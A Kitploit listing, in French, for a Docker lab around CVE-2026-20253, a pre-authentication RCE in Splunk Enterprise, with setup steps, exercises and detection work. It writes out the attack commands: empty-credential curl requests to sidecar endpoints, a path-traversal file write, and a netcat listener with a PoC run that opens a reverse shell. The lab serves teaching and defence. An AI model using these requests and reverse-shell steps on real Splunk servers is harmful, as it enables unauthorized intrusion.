Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-20253 — Environnement de laboratoire Docker avec exploit PoC et vérificateur pour CVE-2026-20253, une RCE pré-authentification dans Splunk Enterprise via le service sidecar PostgreSQL. | Kitploit
Outils/GitHubGitHub/ivanesk315/cve-2026-20253
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationRed TeamingLabs et Pratique
GitHubivanesk315/cve-2026-20253

CVE-2026-20253

Environnement de laboratoire Docker avec exploit PoC et vérificateur pour CVE-2026-20253, une RCE pré-authentification dans Splunk Enterprise via le service sidecar PostgreSQL.

Voir le dépôt
il y a 0 joursPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Environnement de laboratoire CVE-2026-20253

RCE pré-authentification dans Splunk Enterprise via le service sidecar PostgreSQL

CVECVE-2026-20253
CVSS9.8 (Critique)
TypeExécution de code à distance non authentifiée
CWECWE-306 : Absence d'authentification pour une fonction critique
ProduitSplunk Enterprise 10.0.x / 10.2.x

AVERTISSEMENT : Ce laboratoire est destiné uniquement à la recherche en sécurité autorisée, à l'éducation et aux tests d'intrusion. Ne l'utilisez pas contre des systèmes que vous ne possédez pas ou pour lesquels vous ne disposez pas d'une autorisation explicite de test.


Architecture du laboratoire

root@kitploit:~
┌──────────────────────────────────────────────────────┐
│                  Docker Network: cve-lab             │
│                  Subnet: 172.20.0.0/24               │
│                                                      │
│  ┌─────────────────────┐   ┌──────────────────────┐  │
│  │  splunk-vulnerable   │   │  attacker            │  │
│  │  172.20.0.10         │   │  172.20.0.50         │  │
│  │                      │   │                      │  │
│  │  Splunk 10.2.3       │   │  Python 3.11         │  │
│  │  Port 8000 (Web)     │   │  nmap, netcat        │  │
│  │  Port 8089 (API)     │   │  postgresql-client   │  │
│  │  Port 8088 (HEC)     │   │  tcpdump             │  │
│  └─────────────────────┘   └──────────────────────┘  │
│                                                      │
│  ┌─────────────────────┐  (optional, profile: patched)│
│  │  splunk-patched      │                             │
│  │  172.20.0.11         │                             │
│  │  Splunk 10.2.4       │                             │
│  │  Port 8001 (Web)     │                             │
│  └─────────────────────┘                             │
└──────────────────────────────────────────────────────┘

Prérequis

  • Docker & Docker Compose
  • Git
  • 8 Go de RAM ou plus (Splunk nécessite beaucoup de mémoire)
  • Accès Internet (pour récupérer les images Docker)

Démarrage rapide

1. Démarrer le laboratoire vulnérable

root@kitploit:~
# Start Splunk vulnerable + attacker
docker-compose up -d

# Wait for Splunk to initialize (~2-3 minutes)
docker-compose logs -f splunk-vulnerable
# Look for: "Ansible playbook complete, will begin polling for Splunk On..."
# Then:     "Splunk is ready"

2. Vérifier que Splunk est en cours d'exécution

  • Ouvrir le navigateur : http://localhost:8000
  • Identifiants : admin / ChangeMeNow!

3. Exécuter le vérificateur de vulnérabilité

root@kitploit:~
# From host machine
docker exec -it attacker python checker.py -t http://172.20.0.10:8000 -k

# Or enter the attacker container
docker exec -it attacker bash
cd /opt/exploit
python checker.py -t http://172.20.0.10:8000 -k

4. Exécuter l'exploit PoC

root@kitploit:~
# Enter attacker container
docker exec -it attacker bash

# Check vulnerability
python poc.py -t http://172.20.0.10:8000 --check -k

# Full RCE exploit (start listener first in another terminal)
# Terminal 1 - Listener:
docker exec -it attacker nc -lvnp 4444

# Terminal 2 - Exploit:
docker exec -it attacker python poc.py \
    -t http://172.20.0.10:8000 \
    --rce \
    --lhost 172.20.0.50 \
    --lport 4444 \
    -k

5. (Facultatif) Démarrer la version corrigée pour comparaison

root@kitploit:~
docker-compose --profile patched up -d splunk-patched

# Test against patched instance (should return NOT VULNERABLE)
docker exec -it attacker python checker.py -t http://172.20.0.11:8000 -k

Exercices du laboratoire

Exercice 1 : Reconnaissance et identification de la vulnérabilité

Objectif : Identifier les points de terminaison du sidecar PostgreSQL et vérifier le contournement d'authentification.

root@kitploit:~
# Scan Splunk ports
nmap -sV 172.20.0.10 -p 8000,8089,8088

# Probe sidecar endpoints manually with curl
curl -v -k -u ":" "http://172.20.0.10:8000/en-US/splunkd/__raw/v1/postgres/health"
curl -v -k -u ":" "http://172.20.0.10:8000/en-US/splunkd/__raw/v1/postgres/status"
curl -v -k -u ":" "http://172.20.0.10:8000/en-US/splunkd/__raw/v1/postgres/recovery/backup"

Questions :

  • Quels codes de statut HTTP observez-vous ?
  • Que décode Authorization: Basic Og== ?
  • Pourquoi une réponse 400 indique-t-elle une vulnérabilité (par opposition à 401) ?

Exercice 2 : Primitive d'écriture de fichier

Objectif : Démontrer la création arbitraire de fichiers sur le serveur Splunk.

root@kitploit:~
# Create a test file via the backup endpoint
curl -k -X POST -u ":" \
  "http://172.20.0.10:8000/en-US/splunkd/__raw/v1/postgres/recovery/backup?backupFile=../../../../../../tmp/pwned"

# Verify the file was created
docker exec splunk-vulnerable ls -la /tmp/pwned

Exercice 3 : Chaîne RCE complète

Objectif : Obtenir l'exécution de code sur le serveur Splunk.

  1. Démarrer un listener netcat sur la machine attaquante
  2. Exécuter l'exploit PoC avec l'option --rce
  3. Vérifier la connexion du reverse shell
  4. Examiner les permissions du shell (whoami, id, ls /opt/splunk/etc/)

Exercice 4 : Analyse du diff de correctif

Objectif : Comprendre ce qui a changé entre les versions vulnérable et corrigée.

root@kitploit:~
# Start both vulnerable and patched instances
docker-compose --profile patched up -d

# Compare responses
curl -v -k -u ":" "http://172.20.0.10:8000/en-US/splunkd/__raw/v1/postgres/health"  # 400
curl -v -k -u ":" "http://172.20.0.11:8000/en-US/splunkd/__raw/v1/postgres/health"  # 401

# Diff the relevant Splunk configuration/code
docker exec splunk-vulnerable cat /opt/splunk/etc/apps/splunk_httpinput/default/inputs.conf
docker exec splunk-patched cat /opt/splunk/etc/apps/splunk_httpinput/default/inputs.conf

Exercice 5 : Ingénierie de détection

Objectif : Créer des règles de détection pour cette vulnérabilité.

  1. Activer la journalisation interne de Splunk sur l'instance vulnérable
  2. Exécuter l'exploit
  3. Rechercher dans index=_internal les artefacts de l'attaque
  4. Écrire des requêtes de détection SPL (voir report/ANALYSIS.md Section 6)
  5. Tester vos détections contre l'exploit

Structure des fichiers

root@kitploit:~
CVE-2026-20253/
├── README.md                    # This file
├── docker-compose.yml           # Lab environment definition
├── attacker/
│   ├── Dockerfile               # Attacker container build
│   └── requirements.txt         # Python dependencies
├── exploit/
│   ├── checker.py               # Vulnerability checker script
│   ├── poc.py                   # PoC exploit (auth bypass → file write → RCE)
│   └── requirements.txt        # Python dependencies
└── report/
    └── ANALYSIS.md              # Root cause analysis & full report

Conseils de débogage

Le conteneur Splunk ne démarre pas

root@kitploit:~
docker-compose logs splunk-vulnerable
# Common fix: increase Docker memory to 8GB+

Vérifier que le sidecar PostgreSQL est en cours d'exécution

root@kitploit:~
docker exec splunk-vulnerable ps aux | grep postgres
docker exec splunk-vulnerable netstat -tlnp | grep 5435

Inspecter les journaux internes de Splunk

root@kitploit:~
docker exec splunk-vulnerable cat /opt/splunk/var/log/splunk/splunkd.log | tail -50

Vérifier le script d'entrée modulaire cible

root@kitploit:~
docker exec splunk-vulnerable cat /opt/splunk/etc/apps/splunk_secure_gateway/bin/ssg_enable_modular_input.py

Capturer le trafic réseau pour analyse

root@kitploit:~
docker exec attacker tcpdump -i eth0 -w /opt/exploit/capture.pcap host 172.20.0.10

Nettoyage

root@kitploit:~
# Stop and remove all containers
docker-compose --profile patched down

# Remove volumes (delete all Splunk data)
docker-compose --profile patched down -v

# Remove Docker images
docker rmi splunk/splunk:10.2.3 splunk/splunk:10.2.4

Références

  • Analyse complète de la cause racine
  • Avis Splunk SVD-2026-0610
  • Analyse et PoC de WatchTowr Labs
  • Catalogue KEV de la CISA
  • Article technique de Picus Security
Télécharger l’outil